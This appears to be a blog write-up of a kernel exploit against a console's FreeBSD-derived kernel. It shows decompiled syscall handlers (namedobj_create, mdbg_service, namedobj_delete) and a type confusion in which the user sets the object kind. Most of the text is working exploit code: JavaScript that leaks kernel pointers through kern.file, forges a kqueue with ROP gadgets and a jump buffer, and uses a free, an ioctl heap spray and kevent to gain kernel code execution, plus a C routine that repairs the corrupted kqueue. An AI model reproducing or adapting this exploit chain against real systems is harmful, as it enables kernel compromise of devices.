int sys_namedobj_create(struct thread *td, void *args) {
// ...
rv = EINVAL;
kind = *((_DWORD *)args + 4)
if ( !(kind & 0x4000) && *(_QWORD *)args ) {
// ... (unchanged)
}
return rv;
}
enum IDT_TYPE : u16 {
IDT_TYPE_EPORT = 0x0030,
IDT_TYPE_SBLOCK = 0x0040,
IDT_TYPE_EVF = 0x0110,
IDT_TYPE_OSEM = 0x0120,
IDT_TYPE_BUDGET = 0x2000,
IDT_TYPE_NAMEDOBJ_DBG = 0x5000,
};
struct id_entry {
struct sx *sxlock;
char *name;
void *ptr;
u64 tid;
IDT_TYPE kind;
u16 is_open;
u16 handle;
u16 state;
};
struct idt_bucket {
struct id_entry entries[128];
};
struct id_table {
struct idt_bucket buckets[64];
struct mtx mutex;
u32 num_buckets;
u32 cur_handle;
u32 max_entries;
};
id_table *id_table_create(int max_entries);
void id_table_destroy(id_table *idt);
int id_alloc(id_table *idt, id_entry **ide);
void id_set(id_entry *ide, IDT_TYPE kind, void *data, char *name);
void id_set_open(id_entry *ide, IDT_TYPE kind, void *data, char *name);
int id_is_opened(id_entry *ide);
void id_free(id_table *idt, int handle, id_entry *ide);
void id_unlock(id_entry *ide);
void *id_rlock(id_table *idt, signed int index, IDT_TYPE kind, id_entry **ide);
void *id_rlock_name(id_table *idt, IDT_TYPE kind, char *name, id_entry **ide);
void *id_wlock(id_table *idt, signed int index, IDT_TYPE kind, id_entry **ide);
struct namedobj_usr_t {
char *name;
void *object;
u64 field_10;
};
int sys_namedobj_create(struct thread *td, void *args) {
MACRO_EPERM rv; // ebx
int kind; // er14
id_table *idt; // r12
char *name; // r13
namedobj_usr_t *no; // rbx
int handle; // er15
id_entry *ide; // [rsp+8h] [rbp-38h]
__int64 v10; // [rsp+10h] [rbp-30h]
rv = EINVAL;
if ( *(_QWORD *)args ) {
// Note this is almost completely usermode-controlled!
kind = *((_DWORD *)args + 4) | 0x1000;
idt = td->td_proc->sce_idt;
name = (char *)malloc(0x20uLL, &M_NAME, 2);
rv = copyinstr(*(const void **)args, name, 0x20uLL, 0LL);
if ( rv ) {
free(name, &M_NAME);
} else {
no = (namedobj_usr_t *)malloc(0x18uLL, &M_NAME, 2);
no->name = name;
no->object = *((_QWORD *)args + 1);
handle = id_alloc(idt, &ide);
if ( handle == -1 ) {
free(name, &M_NAME);
free(no, &M_NAME);
rv = EAGAIN;
} else {
id_set(ide, (IDT_TYPE)kind, no, name);
id_unlock(ide);
td->td_retval[0] = handle;
rv = 0;
}
}
}
return rv;
}
struct namedobj_dbg_t {
u32 field_0;
u32 _pad_4; // compiler-inserted alignment
u64 field_8;
u64 field_10;
u64 field_18;
u64 field_20;
};
int namedobj_create_ex(id_table *idt, char *name, u32 a3, u64 a4, u64 a5,
u64 a6, u64 a7) {
namedobj_dbg_t *no_exists; // rax
int rv; // er13
id_entry *ide_existing; // [rsp+20h] [rbp-40h]
rv = EAGAIN;
no_exists = (namedobj_dbg_t *)id_rlock_name(idt, IDT_TYPE_NAMEDOBJ_DBG, name,
&ide_existing);
if ( no_exists )
{
no_exists->field_0 = a3;
no_exists->field_8 = a4;
no_exists->field_10 = a5;
no_exists->field_18 = a6;
no_exists->field_20 = a7;
id_unlock(ide_existing);
rv = 0;
}
// ... unrelated code removed
return rv;
}
…which is accessible from the mdbg_service syscall:
struct mdbg_service_arg1 {
u32 field_0;
u64 field_4;
u64 field_8;
u64 field_10;
u64 field_18;
u64 field_20;
char name[32];
};
int sys_mdbg_service(struct thread *td, void *args) {
signed int rv; // ebx
void *uptr; // r14
mdbg_service_arg1 cmd_1; // [rsp+18h] [rbp-68h]
rv = 78;
uptr = (void *)*((_QWORD *)args + 1);
switch ( (unsigned __int64)*(unsigned int *)args ) {
// ... unrelated code removed
case 1uLL:
rv = copyin(uptr, &cmd_1, 0x48uLL);
if ( rv )
break;
cmd_1.name[31] = 0;
rv = namedobj_create_ex(
td->td_proc->sce_idt,
cmd_1.name,
cmd_1.field_4,
cmd_1.field_8,
cmd_1.field_10,
cmd_1.field_18,
cmd_1.field_20);
break;
// ... unrelated code removed
}
return rv;
}
int sys_namedobj_delete(struct thread *td, void *args) {
struct proc *p; // rax
id_table *idt; // r15
namedobj_usr_t *no; // r14
int rv; // eax
id_entry *id_out; // [rsp+8h] [rbp-28h]
p = td->td_proc;
idt = p->sce_idt;
no = (namedobj_usr_t *)id_wlock(
p->sce_idt,
*(_DWORD *)args,
(IDT_TYPE)(*((_WORD *)args + 4) & ~0x1000 | 0x1000),
&id_out);
rv = ESRCH;
if ( no )
{
id_free(idt, *(_DWORD *)args, id_out);
id_unlock(id_out);
free(no->name, &M_NAME);
free(no, &M_NAME);
rv = 0;
}
return rv;
}
constructor.prototype.getFileDescriptorKernelDataPtr = function(fd) {
var fd_xf_data = 0;
sys.getSysCtlByName('kern.file', function(oldp, oldlen) {
var pid = sys.getCurrentProcessId();
var file_size = read64(oldp).lo;
var num_files = oldlen / file_size;
for (var i = 0; i < num_files; i++) {
var xf_pid = read32(oldp.plus(i * file_size + 0x08));
var xf_fd = read32(oldp.plus(i * file_size + 0x10));
var xf_data = read64(oldp.plus(i * file_size + 0x38));
if (xf_pid == pid && xf_fd == fd) {
fd_xf_data = xf_data;
return;
}
}
});
return fd_xf_data;
}
// finalize the ropchain and invoke it
constructor.prototype.trigger_kqueue = function() {
var fakefd = callFunc(syms.libkernel.kqueue).lo;
var filep = this.leaks.getFileDescriptorKernelDataPtr(fakefd);
var rop_scratch_len = 0;
var data_buf_len = this.kqueue_sizeof + this.klist_sizeof + this.knote_sizeof +
this.filterops_sizeof + this.knlist_sizeof + this.jmpbuf_sizeof +
rop_scratch_len;
var data_buf = allocateGCMemory(data_buf_len);
clearMemory(data_buf, data_buf_len);
var fakekq = data_buf;
var kl = fakekq.plus(this.kqueue_sizeof);
var kn = kl.plus(this.klist_sizeof);
var fop = kn.plus(this.knote_sizeof);
var knl = fop.plus(this.filterops_sizeof);
var jmpbuf = knl.plus(this.knlist_sizeof);
var rop_scratch = jmpbuf.plus(this.jmpbuf_sizeof);
// finalize ropchain
this.emitReturnViaJmpbuf(jmpbuf);
// create fake kq to execute the ropchain
var rop_stack = this.rop.getRopStack();
write64(jmpbuf.plus(0x48), rop_scratch); // rdi
write64(jmpbuf.plus(0x60), 0); // rcx (why?)
write64(jmpbuf.plus(0xe0), gadgets.ret); // next rip
write64(jmpbuf.plus(0xf8), rop_stack); // rsp
// longjmp_tail needs at least 1 stack slot to push next rip onto
write64(knl.plus(0x08), gadgets.ret); // kl_lock
write64(knl.plus(0x10), gadgets.longjmp_tail); // kl_unlock
write64(knl.plus(0x18), gadgets.ret); // kl_assert_locked
write64(knl.plus(0x20), gadgets.ret); // kl_assert_unlocked
write64(knl.plus(0x28), jmpbuf); // kl_lockarg (passed as
// rdi to the above funcptrs)
write32(fop, 1); // f_isfd = 1
write64(fop.plus(0x18), gadgets.ret0); // f_event = {ret 0}
write64(kn.plus(0x10), knl); // kn_knlist
write32(kn.plus(0x38), this.EVFILT_READ); // kn_filter = EVFILT_READ (16bit)
write32(kn.plus(0x50), 2); // kn_status = KN_QUEUED
write64(kn.plus(0x68), fop); // kn_fop
write64(kl, kn); // slh_first = &kn
this.writeFakeMtx(fakekq.plus(0)); // kq_lock
write32(fakekq.plus(0xa4), 1); // kq_knlistsize = 1
write64(fakekq.plus(0xa8), kl); // kq_knlist = &kl
var change = allocateGCMemory(this.kevent_sizeof);
clearMemory(change, this.kevent_sizeof);
write32(change.plus(8), this.EVFILT_READ);
// free, try to fill the buffer, then cause it to be used
this.kernelFree(filep);
this.ioctlSpray(fakekq, this.kqueue_sizeof);
callFunc(syms.libkernel.kevent, fakefd, change, 1, 0, 0, 0);
// safe as long as injected code has fixed the corrupted kqueue
callFunc(syms.libkernel.close, fakefd);
}
void fix_corrupted_kqueue(struct thread *td) {
// This method prevents the kernel from crashing (most of the time), but
// the process will sigsegv when exiting.
// blog note:
// I actually no longer remember if the above comment is true.
// I always kexec directly to linux so it doesn't matter to me
struct filedesc *fdp = td->td_proc->p_fd;
for (int fd = 0; fd < fdp->fd_nfiles; fd++) {
struct file *fp = fdp->fd_ofiles[fd];
if (fp && fp->f_type == DTYPE_KQUEUE) {
struct kqueue *kq = fp->f_data;
if ((uintptr_t)kq->kq_knlist < VM_USER_MAX) {
// found the bad one...kill it
SLIST_REMOVE(&fdp->fd_kqlist, kq, kqueue, kq_list);
fdp->fd_ofiles[fd] = NULL;
fdp->fd_ofileflags[fd] = 0;
return;
}
}
}
}
...
fix_corrupted_kqueue(curthread());